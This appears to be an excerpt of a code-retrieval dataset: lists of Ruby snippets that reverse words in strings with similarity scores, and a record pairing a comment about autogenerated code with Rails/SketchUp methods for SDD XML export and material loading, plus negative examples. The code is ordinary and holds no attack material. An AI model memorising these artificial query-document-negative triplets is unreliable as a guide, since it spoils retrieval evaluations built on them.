"def reverse_words(string)\n string_array = string.split(\" \")\n string_array.each do |word|\n word.reverse!\n end\n p string_array\n reversed_sentance = \"\"\n string_array.each do |reverse_word|\n reversed_sentance += reverse_word + \" \"\n end\n p reversed_sentance.chop\nend",
"def wordReverse(aString)\n return aString.split.reverse.join(\" \")\nend",
"def reverse_each_word(string)\n string.split\n string.split.collect do |s|\n s.reverse!\n s.split.join(\" \")\n end\n .join(\" \")\nend",
"def reverse_each_word(string)\n step_one = string.split(\" \")\n step_one.collect do |word| word.reverse\n \"#{word.reverse}\"\n end\n .join(\" \")\nend",
"def reverse_words(string)\n array = string.split(\" \")\n reversed_array = array.each{|element| element.reverse!()}\n final = reversed_array.join(\" \")\n p final\nend",
"def reverseString(string)\n splitString = string.split(' ')\n splitString.each do |word|\n word.reverse!\n end\n puts splitString.join(' ')\nend",
"def reverse_each_word(string)\n p string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_words(sentence)\n \tsentence.reverse\n end",
"def reverse_words(str)\n anchor = runner = str.length - 1\n\n while runner > 0\n while str[runner] != ' ' && runner > 0\n runner -= 1\n end\n\n break if runner == 0\n\n beginning = runner + 1\n\n while beginning <= anchor\n str[beginning], str[anchor] = str[anchor], str[beginning]\n beginning += 1\n anchor -= 1\n end\n\n runner -= 1\n anchor = runner\n end\n\n while runner <= anchor\n str[runner], str[anchor] = str[anchor], str[runner]\n runner += 1\n anchor -= 1\n end\n\n runner = 0\n anchor = str.length - 1\n\n while runner <= anchor\n str[runner], str[anchor] = str[anchor], str[runner]\n\n runner += 1\n anchor -= 1\n end\n\n str\nend",
"def reverse_words (string)\n string_array = string.split(\" \").to_a\n string_array.each {|word| word.reverse!}\n new_string = string_array.join(\" \")\nend",
"def reverse_words(str)\n str.split(/(\\s)/).each { |word| word.reverse! }.join(\"\")\nend",
"def reverse_words(string)\n string_array = string.split(\" \")\n words = string_array.each {|word| word.reverse!}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split(\" \").collect{|x| x.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\n \nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend",
"def reverse_each_word(str)\n words = str.split(\" \")\n \n reversed_words = words.collect { |ele| ele.reverse }\n \n return reversed_words.join(\" \")\nend",
"def reverse_words!(message)\n # first we reverse the entire thing\n reverse_characters!(message, 0, message.length - 1)\n\n current_start = 0\n\n # then we reverse each word\n (0..message.length).each do |i|\n # keep going unless message is over or we found a space\n next unless i == message.length || message[i] == ' '\n\n # if we found a space reverse the word\n\n reverse_characters!(message, current_start, i - 1)\n\n # start the next word ... we already know that there can only be 1 space\n\n current_start = i + 1\n end\n\n message # don't need to return but doing this to test spec\nend",
"def reverse_each_word(string)\n split_array = string.split(' ')\n reversed = []\n split_array.each do |word|\n reversed << word.reverse\n end\nreturn reversed.join(' ')\nend",
"def reverse_words(str)\n # Go for it\n str\n .scan(/(\\s*)(\\S+)(\\s*)/)\n .map { |spacer1, word, spacer2| spacer1 + word.reverse + spacer2 }\n .join\nend",
"def reverse_each_word(sentence)\n sentence.split.collect(&:reverse).join(' ')\nend",
"def reverse_words(string)\n string.split(' ').map{|word| word.reverse}.join(' ')\nend",
"def reverse_each_word(string)\n sentence = string.split(\" \")\n sentence.collect do |word|\nword.reverse\nend.join(\" \")\nend",
"def reverse_words(string)\n\tinput = string.split(\" \")\n\treversed = []\n\tinput.each do |x|\n\t\treversed << x.reverse\n\tend\n\treversed.join(\" \")\nend",
"def reverse_each_word(string)\n rev_string = string.split\n rev_string.collect do |rev|\n rev.reverse!\n end\n return rev_string.join(\" \")\nend",
"def reverse_words(s)\n s.split(/\\s+/).map\n {|w|wl=w.length-1;\n (0..wl).map{|i|w[wl-i]}.join}.join(' ')\n end",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\nend",
"def reverse_words(string)\n split_array = string.split(' ')\n results_array = split_array.map! do |word|\n word.reverse\n end\n results_array.join(' ')\nend",
"def reverse_word(words)\n\twords.split(\" \").each {|word| word.reverse!}.join(\" \")\nend",
"def reverse_each_word(string_sentence)\n array_of_words = string_sentence.split\n\n array_of_words.collect do |word|\n word.reverse\n # binding.pry\n end\n .join(\" \")\nend",
"def reverse_words(s)\n strs = s.split(\" \")\n if strs.length == 0\n return \"\"\n elsif strs.length == 1\n return s\n else\n strs.reverse!\n return strs.join(\" \")\n end\nend",
"def reverse_words(string)\n\t\ta = string.split(\" \")\n\t\tb = a.length\n\t\t\n\t\tif b > 1\n\t\t\t a.map{|value| value = value.reverse}.join(\" \")\n\t\t\telse\n\t\t\t string.reverse\n\t\tend\n\tend",
"def reverse_each_word(string)\n s = string.split(\" \")\n backward_sentence = s.collect do |word|\n word.reverse\n end\n backward_sentence.join(\" \")\nend",
"def reverse_each_word(string)\n sentence = string.split()\n sentence.collect do |word|\n word.reverse!\n end\n sentence.join(\" \")\nend",
"def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split \" \"\n array.collect { |word| word.reverse! }\n array.join(\" \")\nend",
"def reverse_each_word(sentence)\n\tsentence.split.collect { |el| el.reverse }.join(\" \")\nend",
"def reverse_words sentence\n sentence.split(\" \").map{ |x| x.reverse }.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split\n array.collect do |element|\n element.reverse!\n end\n array.join(\" \")\nend",
"def reverse_words(str)\n str.split(\" \").map{ |i| i.reverse }.join(\" \")\nend",
"def reverse_word_by_word_optimized(s)\n last_word_bound = 0\n current_word_bound = 0\n while current_word_bound < s.size\n if s[current_word_bound] == \" \"\n # reverse the current word\n my_reverse_sub(s, last_word_bound, current_word_bound - 1)\n last_word_bound = current_word_bound + 1\n end\n current_word_bound += 1\n end\n # reverse the last word in the string\n my_reverse_sub(s, last_word_bound, s.size - 1)\n # reverse the whole string\n my_reverse(s)\nend",
"def reverse_each_word(string)\n arr = string.split\n reversed = arr.collect do |n| n.reverse\n end\n p reversed.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect { |word| word.reverse }.join(\" \")\nend",
"def reverse_words (string)\n array = string.split(\"\")\n array.reverse!\n final = array.join(\"\")\n return final\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|x| x.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n words_arr = string.split\n reverse = words_arr.collect {|word| word.reverse}\n reverse.join(\" \")\nend",
"def reverse_each_word(string)\n sentence_array = string.split(\" \")\n reversed_array = []\n sentence_array.collect do |string|\n reversed_array << string.reverse\n end\n reversed_array.join(\" \")\nend",
"def reverse_each_word(words)\n words.split(\" \").collect{ |x| x.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\n end",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\n end",
"def reverseWords(line)\n words = line.split(\" \")\n words.reverse.join(\" \")\nend",
"def reverse_sentence(my_sentence)\r\n reverse_words(my_sentence)\r\n string_reverse(my_sentence)\r\nend",
"def reverse_words(my_words) #with string_reverse\r\n return my_words if my_words.length < 2\r\n return string_reverse(my_words) if !my_words.include?(\" \")\r\n\r\n first = 0\r\n\r\n my_words.length.times do |last |\r\n if my_words[last].match(/\\s/)\r\n my_words[first...last] = string_reverse(my_words[first...last])\r\n first = last + 1\r\n elsif last == (my_words.length - 1)\r\n my_words[first..last] = string_reverse(my_words[first..last])\r\n end\r\n end\r\n\r\n return my_words\r\nend",
"def reverse_words(string, *optional)\n\tstring = string.split\n\tstring.map! do |word|\n \tword.reverse\n \tend\n \n \tp string.join(\" \")\n \nend",
"def reverse_words(string)\n string.gsub(/\\w+/) { |word| word.reverse! } \n end",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_words(my_words)\n return nil if my_words == nil\n return '' if my_words == ''\n\n i = 0\n all_words_end = my_words.length\n\n while i < all_words_end\n\n while my_words[i] == ' ' && i < all_words_end\n i += 1\n end\n\n start_of_word = i\n\n while my_words[i] != ' ' && i < all_words_end\n i += 1\n end\n\n end_of_word = i - 1\n\n reverse_string(my_words, start_of_word, end_of_word)\n end\n\n return my_words\n\n raise NotImplementedError\nend",
"def reverse_words(s)\n output = []\n arr = s.split(\" \")\n \n arr.each do |word|\n output << word.reverse\n end\n \n output.join(\" \")\nend",
"def reverse_each_word(string)\n s = string.split(' ')\n s.collect do |word|\n word.reverse!\n end\n s.join(\" \")\nend",
"def reverse_each_word(string)\n array = string.split(' ')\n array.collect do |word|\n word.reverse!\n end\n array.join(' ')\nend",
"def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\n\nend",
"def reverse_word_by_word_naive(s)\n words = s.split(\" \")\n my_reverse(words).join(\" \")\nend",
"def reverse_words(str)\n reverse_string(str, 0, str.size - 1)\n i = 0\n j = 1\n while j < str.size\n j += 1 until str[j] == ' ' || j == str.size\n reverse_string(str, i, j - 1)\n i = j + 1\n j = i + 1\n end\nend",
"def reverse_words!(message)\n # First we reverse all the characters in the entire message.\n reverse_characters!(message, 0, message.length - 1)\n # This gives us the right word order\n # but with each word backward.\n # Now we'll make the words forward again\n # by reversing each word's characters.\n # We hold the index of the *start* of the current word\n # as we look for the *end* of the current word.\n current_word_start_index = 0\n (0..message.length).each do |i|\n # Skip unless we're at the end of the current word.\n next unless i == message.length || message[i] == ' '\n reverse_characters!(message, current_word_start_index, i - 1)\n # If we haven't exhausted the string our\n # next word's start is one character ahead.\n current_word_start_index = i + 1\n end\nend",
"def reverse_sentence(string)\n words = string.split(' ')\n reversed = []\n while words != []\n word = words.pop # take previous word\n reversed << word # make next word\n # alternative:\n # word = words.shift\n # reversed.unshift(word)\n end\n reversed.join(' ')\nend",
"def reverse_each_word(string)\n sentence_array = string.split(\" \")\n reversed_sentence = []\n sentence_array.collect do |word|\n reversed_sentence << word.reverse\n end\n reversed_sentence.join(\" \")\nend"
] | [
"0.7666444",
"0.7598045",
"0.7538827",
"0.741925",
"0.74179643",
"0.74103767",
"0.740417",
"0.7379643",
"0.7379643",
"0.7373929",
"0.73467344",
"0.73209673",
"0.7309497",
"0.7302201",
"0.7295405",
"0.7286302",
"0.72851825",
"0.7282557",
"0.7274572",
"0.72719157",
"0.72685456",
"0.72554684",
"0.7249964",
"0.72282237",
"0.71996504",
"0.7197198",
"0.7190241",
"0.7179198",
"0.71719056",
"0.716551",
"0.7163712",
"0.71623665",
"0.7160773",
"0.71435314",
"0.7142299",
"0.7138976",
"0.7118896",
"0.71038705",
"0.7102847",
"0.7102406",
"0.7098221",
"0.70973665",
"0.70935273",
"0.70932996",
"0.709267",
"0.70891166",
"0.70880765",
"0.7086336",
"0.7071943",
"0.70685625",
"0.7066666",
"0.70665437",
"0.7064462",
"0.70643216",
"0.70638525",
"0.7059341",
"0.7059341",
"0.70531917",
"0.7052802",
"0.7050433",
"0.70452935",
"0.704501",
"0.704207",
"0.7041064",
"0.7040475",
"0.70404136",
"0.70386535",
"0.70375466",
"0.703197",
"0.70286345",
"0.70257485",
"0.70207584",
"0.70175636",
"0.7009291",
"0.7004043",
"0.7000948",
"0.7000305",
"0.69951105",
"0.6992822",
"0.69893",
"0.69893",
"0.69887966",
"0.6987731",
"0.6984487",
"0.69817615",
"0.69800645",
"0.69758886",
"0.69758886",
"0.69758886",
"0.69758886",
"0.6973575",
"0.6969388",
"0.6961109",
"0.6956565",
"0.69556427",
"0.6953372",
"0.6950653",
"0.6950176",
"0.6947559",
"0.69454604"
] | 0.77907425 | 0 |
This method is autogenerated. Do not change directly. | def to_sdd_xml(meta, xml)
xml.send(meta[:xml_name]) do
self.class.xml_fields.each do |field|
if self[field[:db_field_name]]
if self[field[:db_field_name]].is_a? Array
logger.debug 'Translating to XML and the object is an Array'
self[field[:db_field_name]].each_with_index do |instance, index|
xml.send(:"#{field[:xml_field_name]}", instance, 'index' => index)
end
else
xml.send(:"#{field[:xml_field_name]}", self[field[:db_field_name]])
end
end
end
# go through children if they have something to add, call their methods
kids = self.class.children_models
unless kids.nil? || kids.empty?
kids.each do |k|
models = send(k[:model_name].pluralize)
models.each do |m|
m.to_sdd_xml(k, xml)
end
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def private; end",
"def custom; end",
"def custom; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def refutal()\n end",
"def implementation; end",
"def implementation; end",
"def probers; end",
"def attribute; end",
"def attribute; end",
"def attribute; end",
"def attribute; end",
"def attribute; end",
"def attribute; end",
"def attribute; end",
"def overrides; end",
"def generated\n end",
"def set; end",
"def set; end",
"def definition\n super\n end",
"def definition\n super\n end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def type; end",
"def verdi; end",
"def formation; end",
"def offences_by; end",
"def generated_by\n\t\t\n\tend",
"def ref; end",
"def suivre; end",
"def generated_on\n\t\t\n\tend",
"def value; end",
"def value; end",
"def value; end",
"def value; end",
"def value; end"
] | [
"0.7373633",
"0.65087914",
"0.65087914",
"0.645239",
"0.6378533",
"0.6378533",
"0.6378533",
"0.6378533",
"0.6254785",
"0.62208474",
"0.62208474",
"0.6191855",
"0.61281425",
"0.61281425",
"0.61281425",
"0.61281425",
"0.61281425",
"0.61281425",
"0.61281425",
"0.6120204",
"0.61173034",
"0.6063574",
"0.6063574",
"0.60588145",
"0.60588145",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.59989387",
"0.5986795",
"0.5971577",
"0.5963485",
"0.59293026",
"0.590278",
"0.589709",
"0.5891194",
"0.5877728",
"0.5877728",
"0.5877728",
"0.5877728",
"0.5877728"
] | 0.0 | -1 |
This method been overloaded to not do anything because if you import an existing SDD XML then it should not load the materials, rather, it will will read from the database to get the material layers | def create_children_from_sdd_json(meta, h)
# Materials should not be import
return true
# legacy code --
# Go through the children
self_model = meta[:model_name].camelcase(:upper).constantize
kids = self_model.children_models
unless kids.nil? || kids.empty?
kids.each do |k|
# check if the kids have a json object at this level
if h[k[:xml_name]]
logger.debug "XML child is #{k[:xml_name]}"
logger.debug "Model name is #{k[:model_name]}"
if h[k[:xml_name]].is_a? Array
logger.debug "#{k[:xml_name]} is an array, will add all the objects"
h[k[:xml_name]].each do |h_instance|
klass = k[:model_name].camelcase(:upper).constantize
if klass.respond_to? :from_sdd_json
model = klass.from_sdd_json(k, h_instance)
# Assign the foreign key on the object
model["#{meta[:model_name]}_id"] = id
model.save!
else
logger.warn "Class #{klass} does not have instance method 'from_sdd_json'"
end
end
elsif h[k[:xml_name]].is_a? Hash
logger.debug "#{k[:xml_name]} is a single object, will add only one"
klass = k[:model_name].camelcase(:upper).constantize
if klass.respond_to? :from_sdd_json
model = klass.from_sdd_json(k, h[k[:xml_name]])
# Assign the foreign key on the object
model["#{meta[:model_name]}_id"] = id
model.save!
else
logger.warn "Class #{klass} does not have instance method 'from_sdd_json'"
end
end
end
end
end
# end legacy code
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_material(material_name)\n # First check model and return material if it already exists\n self.getMaterials.each do |material|\n if material.name.get.to_s == material_name\n OpenStudio::logFree(OpenStudio::Debug, 'openstudio.standards.Model', \"Already added material: #{material_name}\")\n return material\n end\n end\n \n #OpenStudio::logFree(OpenStudio::Info, 'openstudio.standards.Model', \"Adding material: #{material_name}\")\n\n # Get the object data\n data = self.find_object(self.standards['materials'], {'name'=>material_name})\n if !data\n OpenStudio::logFree(OpenStudio::Warn, 'openstudio.standards.Model', \"Cannot find data for material: #{material_name}, will not be created.\")\n return false #TODO change to return empty optional material\n end\n \n material = nil\n material_type = data['material_type']\n\n if material_type == 'StandardOpaqueMaterial'\n material = OpenStudio::Model::StandardOpaqueMaterial.new(self)\n material.setName(material_name)\n\n material.setRoughness(data['roughness'].to_s)\n material.setThickness(OpenStudio.convert(data['thickness'].to_f, 'in', 'm').get)\n material.setConductivity(OpenStudio.convert(data['conductivity'].to_f, 'Btu*in/hr*ft^2*R', 'W/m*K').get)\n material.setDensity(OpenStudio.convert(data['density'].to_f, 'lb/ft^3', 'kg/m^3').get)\n material.setSpecificHeat(OpenStudio.convert(data['specific_heat'].to_f, 'Btu/lb*R', 'J/kg*K').get)\n material.setThermalAbsorptance(data['thermal_absorptance'].to_f)\n material.setSolarAbsorptance(data['solar_absorptance'].to_f)\n material.setVisibleAbsorptance(data['visible_absorptance'].to_f)\n\n elsif material_type == 'MasslessOpaqueMaterial'\n material = OpenStudio::Model::MasslessOpaqueMaterial.new(self)\n material.setName(material_name)\n material.setThermalResistance(OpenStudio.convert(data['resistance'].to_f, 'hr*ft^2*R/Btu', 'm^2*K/W').get)\n\n material.setConductivity(OpenStudio.convert(data['conductivity'].to_f, 'Btu*in/hr*ft^2*R', 'W/m*K').get)\n material.setDensity(OpenStudio.convert(data['density'].to_f, 'lb/ft^3', 'kg/m^3').get)\n material.setSpecificHeat(OpenStudio.convert(data['specific_heat'].to_f, 'Btu/lb*R', 'J/kg*K').get)\n material.setThermalAbsorptance(data['thermal_absorptance'].to_f)\n material.setSolarAbsorptance(data['solar_absorptance'].to_f)\n material.setVisibleAbsorptance(data['visible_absorptance'].to_f)\n\n elsif material_type == 'AirGap'\n material = OpenStudio::Model::AirGap.new(self)\n material.setName(material_name)\n\n material.setThermalResistance(OpenStudio.convert(data['resistance'].to_f, 'hr*ft^2*R/Btu*in', 'm*K/W').get)\n\n elsif material_type == 'Gas'\n material = OpenStudio::Model::Gas.new(self)\n material.setName(material_name)\n\n material.setThickness(OpenStudio.convert(data['thickness'].to_f, 'in', 'm').get)\n material.setGasType(data['gas_type'].to_s)\n\n elsif material_type == 'SimpleGlazing'\n material = OpenStudio::Model::SimpleGlazing.new(self)\n material.setName(material_name)\n\n material.setUFactor(OpenStudio.convert(data['u_factor'].to_f, 'Btu/hr*ft^2*R', 'W/m^2*K').get)\n material.setSolarHeatGainCoefficient(data['solar_heat_gain_coefficient'].to_f)\n material.setVisibleTransmittance(data['visible_transmittance'].to_f)\n\n elsif material_type == 'StandardGlazing'\n material = OpenStudio::Model::StandardGlazing.new(self)\n material.setName(material_name)\n\n material.setOpticalDataType(data['optical_data_type'].to_s)\n material.setThickness(OpenStudio.convert(data['thickness'].to_f, 'in', 'm').get)\n material.setSolarTransmittanceatNormalIncidence(data['solar_transmittance_at_normal_incidence'].to_f)\n material.setFrontSideSolarReflectanceatNormalIncidence(data['front_side_solar_reflectance_at_normal_incidence'].to_f)\n material.setBackSideSolarReflectanceatNormalIncidence(data['back_side_solar_reflectance_at_normal_incidence'].to_f)\n material.setVisibleTransmittanceatNormalIncidence(data['visible_transmittance_at_normal_incidence'].to_f)\n material.setFrontSideVisibleReflectanceatNormalIncidence(data['front_side_visible_reflectance_at_normal_incidence'].to_f)\n material.setBackSideVisibleReflectanceatNormalIncidence(data['back_side_visible_reflectance_at_normal_incidence'].to_f)\n material.setInfraredTransmittanceatNormalIncidence(data['infrared_transmittance_at_normal_incidence'].to_f)\n material.setFrontSideInfraredHemisphericalEmissivity(data['front_side_infrared_hemispherical_emissivity'].to_f)\n material.setBackSideInfraredHemisphericalEmissivity(data['back_side_infrared_hemispherical_emissivity'].to_f)\n material.setConductivity(OpenStudio.convert(data['conductivity'].to_f, 'Btu*in/hr*ft^2*R', 'W/m*K').get)\n material.setDirtCorrectionFactorforSolarandVisibleTransmittance(data['dirt_correction_factor_for_solar_and_visible_transmittance'].to_f)\n if /true/i.match(data['solar_diffusing'].to_s)\n material.setSolarDiffusing(true)\n else\n material.setSolarDiffusing(false)\n end\n\n else\n puts \"Unknown material type #{material_type}\"\n exit\n end\n\n return material\n \n end",
"def material\n end",
"def material; end",
"def material; end",
"def load_materials(materials)\n mt = 1\n materials.each do |material|\n case mt\n when 1\n self.mat_item1 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_1 = material.quantity\n when 2\n self.mat_item2 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_2 = material.quantity\n when 3\n self.mat_item3 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_3 = material.quantity\n when 4\n self.mat_item4 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_4 = material.quantity\n when 5\n self.mat_item5 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_5 = material.quantity\n when 6\n self.mat_item6 = material.item_key.to_s + \" - \" + material.item\n self.mat_qty_6 = material.quantity\n else\n #nothing\n end\n mt += 1\n end\n end",
"def add_material_layer\n layers = %w(260 300 592)\n layers.each do |l|\n material = node.xpath(\"//marc:datafield[@tag='#{l}']\", NAMESPACE)\n material.each do |block|\n next unless block.xpath(\"marc:subfield[@code='8']\", NAMESPACE).empty?\n sf8 = Nokogiri::XML::Node.new \"subfield\", node\n sf8['code'] = '8'\n sf8.content = \"01\"\n block << sf8\n end\n end\n end",
"def startDSExport \n begin\n $MatLib = SU2DS::MaterialLibrary.new() # reads Sketchup material library and creates hashes mapping each material name to its path and radiance description (if available)\n rs = SU2DS::RadianceScene.new()\n rs.export(SU2DS::RadianceScene::EMODE_HEADER) ## modified for su2ds\n rescue => e \n msg = \"%s\\n\\n%s\" % [$!.message,e.backtrace.join(\"\\n\")]\n UI.messagebox msg \n end \nend",
"def load_states\n @doc.root.elements['states'].each_element(\"state\") do |state|\n state_name = state.attributes['name']\n\n if state.attributes['image'] != nil then\n state_image = Image.load(state.attributes['image'])\n elsif state.attributes['sym'] != nil then\n sym = state.attributes['sym']\n\n if @named_images[sym] == nil then\n raise \"No image assigned in 'load_pre' section of Model source #@src to symbolic name '#{sym}'.\"\n end\n\n state_image = @named_images[sym]\n end\n\n @model.add_pair state_name, state_image\n end\n end",
"def findMaterialModellingError(entity)\n if(entity == nil)\n return\n end\n if(entity.material != nil)\n if(entity.class == Sketchup::Group)\n dicts = entity.attribute_dictionaries()\n\n if(dicts != nil)\n dicts.each do |dict|\n dict.each_pair { | key, value |\n if(key == \"id\" || key == \"ID\")\n buildingid = FHGelsenkirchen::stringDecode(value.to_s())\n puts \"Group material ignored in the following building with id: \" + buildingid.to_s\n return\n end\n }\n end\n end\n # Wenn keine id Flächen zahl ausgeben\n surfaceCount = 0\n entity.entities.each do |ent|\n if(ent.class == Sketchup::Face)\n surfaceCount += 1\n end\n end\n puts \"Group material ignored in the following building with \" + surfaceCount.to_s + \" surfaces\"\n end\n end\n end",
"def materials\n files\n end",
"def createLayers()\n @layers_array = import() \n end",
"def load(fname)\n # search for configuration file\n unless File.exist?(fname)\n fname = File.exist?(File.expand_path(fname)) ?\n File.expand_path(fname) :\n File.join(PATH[\"config\"], fname)\n end\n \n # parsing document by REXML lib\n doc = REXML::Document.new File.new(fname)\n \n # get configuration node\n config = doc.root\n \n # initialize array of instances of ModelConfig\n marr = Array.new\n\n # load texture library\n # --------------------\n # get material handle of SketchUp\n mts = Sketchup.active_model.materials\n # load materials with specific texture\n config.elements.each(\"texture\") do |t|\n tname = t.attributes[\"name\"].downcase\n # add new material if not exist\n unless mts[tname]\n # add a new material\n mt = mts.add(tname)\n # search for texture file\n tfile = File.exist?(t.text) ? t.text : File.expand_path(t.text)\n tfile = File.join(PATH[\"texture\"], t.text) unless File.exist?(tfile)\n # assigne texture file to it\n mt.texture = tfile\n # show information\n puts \"Loaded Texture : #{tname}\"\n end\n end\n \n # load surface library\n # --------------------\n config.elements.each(\"surflib\") do |sl|\n slname = sl.attributes[\"name\"].downcase\n # add new surface to surface library if not exist before\n unless @@surflib[slname]\n # add new surface\n @@surflib[slname] = SurfConfig.new(sl)\n # print information\n puts \"Loaded Surface : #{slname} [Surface Library]\"\n end\n end\n\n # generate ModelConfig instance for each model node\n config.elements.each(\"model\") {|m| marr << ModelConfig.new(m)}\n \n # return the array of model configuration\n return marr\n end",
"def load_model file\n self.clear_model\n\n xml_file = File.new file\n doc = Document.new xml_file\n\n doc.elements.each(\"model/entities/entity\") do |element|\n\n id = element.elements[1].text.to_i\n name = element.elements[2].text\n type = element.elements[3].text\n definition = element.elements[4].text\n x = element.elements[5].text.to_i\n y = element.elements[6].text.to_i\n\n if id.to_i > @max_id\n @max_id = id.to_i\n end\n\n ent = self.add_entity name, type, definition, x, y\n ent.id = id\n end\n\n doc.elements.each(\"model/connections/connection\") do |element|\n name = element.elements[1].text\n definition = element.elements[2].text\n source_entity_id = element.elements[3].text.to_i\n target_entity_id = element.elements[4].text.to_i\n source_point_type = element.elements[5].text\n target_point_type = element.elements[6].text\n source_point_x = element.elements[7].text.to_i\n source_point_y = element.elements[8].text.to_i\n target_point_x = element.elements[9].text.to_i\n target_point_y = element.elements[10].text.to_i\n label_x = element.elements[11].text.to_i\n label_y = element.elements[12].text.to_i\n\n source_entity = self.get_entity source_entity_id\n target_entity = self.get_entity target_entity_id\n source_point = Point2D::Double.new source_point_x, source_point_y\n target_point = Point2D::Double.new target_point_x, target_point_y\n\n con = self.add_connection_specific_endpoints source_entity,\n target_entity,\n source_point,\n target_point,\n source_point_type,\n target_point_type,\n name,\n definition\n\n con.label.set_location label_x, label_y\n end\n @panel.repaint\n end",
"def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::Batch.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end",
